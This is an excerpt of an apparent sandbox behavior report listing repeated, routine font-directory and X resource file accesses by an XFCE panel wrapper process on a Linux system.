      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /home/saturnino/.local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /home/saturnino/.fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/X11/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cMap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cmap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/opentype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/X11/Type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/X11/encodings/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/X11/misc/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/X11/util/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cmap/adobe-cns1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cmap/adobe-gb1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cmap/adobe-japan1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cmap/adobe-japan2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/cmap/adobe-korea1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/opentype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/opentype/mathjax/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/opentype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/opentype/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/Gargi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/Gubbi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/Nakula/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/Navilu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/Sahadeva/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/Sarai/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/abyssinica/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/ancient-scripts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/dejavu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/droid/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/freefont/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/kacst/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/kacst-one/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lao/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lato/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/liberation/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/liberation2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-assamese/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-bengali/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-kannada/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-oriya/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-tamil/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/lohit-telugu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/openoffice/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/padauk/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/pagul/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/samyak/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/samyak-fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/sinhala/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/tibetan-machine/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/tlwg/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/truetype/ubuntu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/type1/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5442)Directory: /usr/share/fonts/X11/encodings/large/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /home/saturnino/.local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /home/saturnino/.fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/X11/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cMap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cmap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/opentype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/X11/Type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/X11/encodings/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/X11/misc/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/X11/util/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cmap/adobe-cns1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cmap/adobe-gb1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cmap/adobe-japan1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cmap/adobe-japan2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/cmap/adobe-korea1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/opentype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/opentype/mathjax/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/opentype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/opentype/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/Gargi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/Gubbi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/Nakula/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/Navilu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/Sahadeva/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/Sarai/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/abyssinica/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/ancient-scripts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/dejavu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/droid/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/freefont/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/kacst/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/kacst-one/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lao/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lato/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/liberation/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/liberation2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-assamese/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-bengali/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-kannada/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-oriya/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-tamil/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/lohit-telugu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/openoffice/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/padauk/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/pagul/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/samyak/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/samyak-fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/sinhala/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/tibetan-machine/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/tlwg/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/truetype/ubuntu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/type1/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5443)Directory: /usr/share/fonts/X11/encodings/large/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /home/saturnino/.Xdefaults-galassiaJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /home/saturnino/.local/share/fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /home/saturnino/.fonts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/X11/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cMap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cmap/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/opentype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/X11/Type1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/X11/encodings/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/X11/misc/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/X11/util/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cmap/adobe-cns1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cmap/adobe-gb1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cmap/adobe-japan1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cmap/adobe-japan2/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/cmap/adobe-korea1/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/opentype/malayalam/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/opentype/mathjax/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/opentype/noto/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/opentype/urw-base35/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/Gargi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/Gubbi/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/Nakula/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/Navilu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/Sahadeva/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/Sarai/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/abyssinica/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/ancient-scripts/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/dejavu/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/droid/.uuidJump to behavior
      Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5444)Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuidJump to behavior
